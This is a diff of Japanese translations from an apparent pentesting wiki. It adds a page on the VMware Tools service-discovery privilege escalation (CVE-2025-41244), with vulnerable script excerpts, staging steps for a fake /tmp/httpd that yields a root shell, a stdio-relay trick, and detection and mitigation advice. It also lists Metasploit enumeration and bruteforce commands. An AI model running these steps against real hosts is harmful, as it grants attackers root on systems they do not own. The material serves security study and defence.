によって導入された新しい **service management** である **Upstart** に関連し、サービス管理タスクのための設定ファイルを使用します。Upstart への移行にもかかわらず、互換レイヤーのために SysVinit スクリプトは Upstart 設定と併用され続けています。 +一方、`/etc/init` は **Upstart** に関連付けられており、Ubuntu によって導入された新しい **サービス管理** で、設定ファイルを使ってサービス管理を行います。Upstart への移行後も、互換レイヤーのために SysVinit スクリプトは Upstart の設定と並行して使用されます。 -**systemd** はモダンな初期化およびサービスマネージャとして登場し、オンデマンドでのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/`、管理者による変更用に `/etc/systemd/system/` に整理され、システム管理を簡素化します。 +**systemd** はモダンな初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウントの管理、システム状態のスナップショットなどの高度な機能を提供します。配布パッケージ用に `/usr/lib/systemd/`、管理者による変更用に `/etc/systemd/system/` にファイルを整理し、システム管理を効率化します。 ## Other Tricks @@ -1460,32 +1486,42 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks は一般的に privileged kernel functionality をユーザースペースの manager に公開するために syscall をフックします。弱い manager 認証(例:FD-order に基づく signature チェックや脆弱なパスワード方式)は、ローカルアプリが manager を偽装して既に root 化されたデバイス上で root に昇格することを可能にする場合があります。詳細および悪用の手順はこちら: +Android の rooting frameworks は一般に syscall をフックして特権のあるカーネル機能を userspace の manager に公開します。弱い manager 認証(例:FD-order に基づく署名チェックや脆弱なパスワード方式)は、ローカルアプリが manager を偽装して、すでに root のデバイスで root にエスカレートすることを可能にする場合があります。詳細とエクスプロイト情報は以下を参照してください: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +VMware Tools/Aria Operations における正規表現駆動のサービス検出は、プロセスのコマンドラインからバイナリパスを抽出して privileged なコンテキストで -v を付けて実行することがあります。寛容なパターン(例:\S を使用)が書き込み可能な場所(例:/tmp/httpd)に配置された攻撃者のリスナーにマッチすると、root としての実行(CWE-426 Untrusted Search Path)につながる可能性があります。 + +詳細および他の discovery/monitoring スタックにも適用できる一般化パターンは以下を参照してください: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +## カーネルのセキュリティ保護 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## 追加のヘルプ [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux のローカル privilege escalation ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** カーネルの脆弱性を列挙するツール(Linux と macOS 向け) [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux と macOS のカーネル脆弱性を列挙する [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1493,6 +1529,10 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## References +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) @@ -1514,4 +1554,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..28c89dc71 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する、regex駆動の service discovery パイプラインを悪用します。許容度の高いパターンが信頼できない攻撃者制御のパス(例: /tmp/httpd)を受け入れると、特権を持つコレクタが信頼できない場所から任意のバイナリを実行し、Local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery の CVE-2025-41244 として文書化しました。 + +- 影響: Local privilege escalation による root(または特権付き discovery アカウント)への昇格 +- 根本原因: Untrusted Search Path (CWE-426) + process command lines に対する permissive regex マッチング +- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery)、VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## VMware service discovery の仕組み(高レベル) + +- Credential-based (legacy): Aria は設定された特権資格情報を使用して VMware Tools 経由でゲスト内部で discovery スクリプトを実行します。 +- Credential-less (modern): Discovery ロジックはゲスト内で既に特権を持つ VMware Tools 内で動作します。 + +どちらのモードも最終的にはシェルロジックを実行し、listening sockets を持つプロセスをスキャンし、regex によって一致するコマンドパスを抽出し、最初の argv トークンを version フラグ付きで実行します。 + +## Root cause and vulnerable pattern (open-vm-tools) + +open-vm-tools では、serviceDiscovery プラグインスクリプト get-versions.sh が広範な正規表現を用いて候補バイナリをマッチさせ、trusted-path 検証なしに最初のトークンを実行します: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +これは、\S (non-whitespace) を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所の非システムパスにも容易に一致します: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- 抽出は grep -Eo を使用し、最初のトークンを取得します: ${COMMAND%%[[:space:]]*} +- 信頼済みシステムパスの whitelist/allowlist がなく、マッチする名前を持つ発見された listener は -v/--version で実行されます + +これにより untrusted search path execution primitive が作成されます: world-writable ディレクトリ(例: /tmp/httpd)にある任意のバイナリが特権コンポーネントによって実行されます。 + +## Exploitation (both credential-less and credential-based modes) + +前提条件 +- ゲスト上でリスニングソケットを開く unprivileged プロセスを実行できる。 +- discovery job が有効で、定期的に実行される(歴史的には約5分間隔)。 + +手順 +1) 許容的な正規表現にマッチするパス(例: /tmp/httpd や ./nginx)にバイナリを配置する +2) 低権限ユーザとして実行し、いずれかのリスニングソケットを開くことを確認する +3) discovery サイクルを待つ; privileged collector が自動的に次のように実行する: /tmp/httpd -v(または同様)、あなたのプログラムが root として実行される + +最小デモ(NVISO のアプローチを使用) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +典型的なプロセスの系譜 +- 資格情報あり: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- 資格情報なし: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +アーティファクト(資格情報あり) +回収された SDMP ラッパースクリプトが /tmp/VMware-SDMP-Scripts-{UUID}/ 配下にあり、不正なパスが直接実行されていることを示す場合があります: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装している: +- リッスンソケットを持つプロセスを列挙する +- argv/command lines を寛容な regexes で grep する(例: パターンに \S を含む) +- マッチしたパスを -v, --version, -V, -h のような無害なフラグで実行する + +もし regex が信頼できないパスを受け入れ、かつそのパスが特権コンテキストから実行されると、CWE-426 Untrusted Search Path 実行につながる。 + +Abuse recipe +- バイナリ名を、regex がマッチしやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver +- 書き込み可能なディレクトリに配置する: /tmp/httpd, ./nginx +- regex にマッチし、列挙される任意のポートを開くようにする +- スケジュールされたコレクタを待つと、 -v の自動的な特権呼び出しが得られる + +Masquerading note: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、マッチ確率とステルス性を高める。 + +Reusable privileged I/O relay trick +- ヘルパーを構築して、特権呼び出し時(-v/--version)に既知のランデブー(例: Linux の abstract UNIX socket の @cve)へ接続し、stdio を /bin/sh -i にブリッジするようにする。これによりディスク上のアーティファクトを避けられ、同じバイナリがフラグ付きで再呼び出しされる多くの環境で動作する。 + +## Detection and DFIR guidance + +Hunting queries +- vmtoolsd や get-versions.sh の異常な子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld) +- discovery スクリプトによる非システム絶対パスの実行(${COMMAND%%...} 展開でスペースを探す) +- ps -ef --forest で系譜ツリーを可視化: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査し、攻撃者パスの実行を示す一時スクリプトや stdout/stderr のアーティファクトを確認する + +Policy/telemetry +- 特権コレクタが非システム接頭辞から実行された場合にアラート: ^/(tmp|home|var/tmp|dev/shm)/ +- get-versions.sh と VMware Tools プラグインのファイル整合性監視 + +## Mitigations + +- Patch: CVE-2025-41244(Tools および Aria Operations SDMP)に対する Broadcom/VMware のアップデートを適用する +- credential-less な discovery を無効化または制限する(可能な場合) +- 信頼できるパスを検証する: 実行を許可リスト化されたディレクトリに制限する(/usr/sbin, /usr/bin, /sbin, /bin)と既知の正確なバイナリのみを許可する +- \S を含む寛容な regexes を避ける; アンカー付きで明示的な絶対パスや正確なコマンド名を優先する +- discovery ヘルパーの特権を落とす(可能であれば); 影響を減らすために sandbox (seccomp/AppArmor) を適用する +- vmtoolsd/get-versions.sh が非システムパスを実行する場合は監視・アラートを出す + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## 参考文献 + +- [NVISO – あなたが名付けたものは何でも、VMwareが昇格させる (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [CVE-2025-41244 に関する Broadcom のアドバイザリ](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – 正当な名前または場所に一致させる](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: 信頼できない検索パス](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 9f01a677a..652644ea4 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# 列挙 +## 列挙 ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# ブルートフォース +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -有効な資格情報を見つけた場合、より多くのmetasploitスキャナーモジュールを使用して情報を取得できます。 +有効な認証情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。 + +### 参照 + +VMware Tools service discovery を介した Linux LPE (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}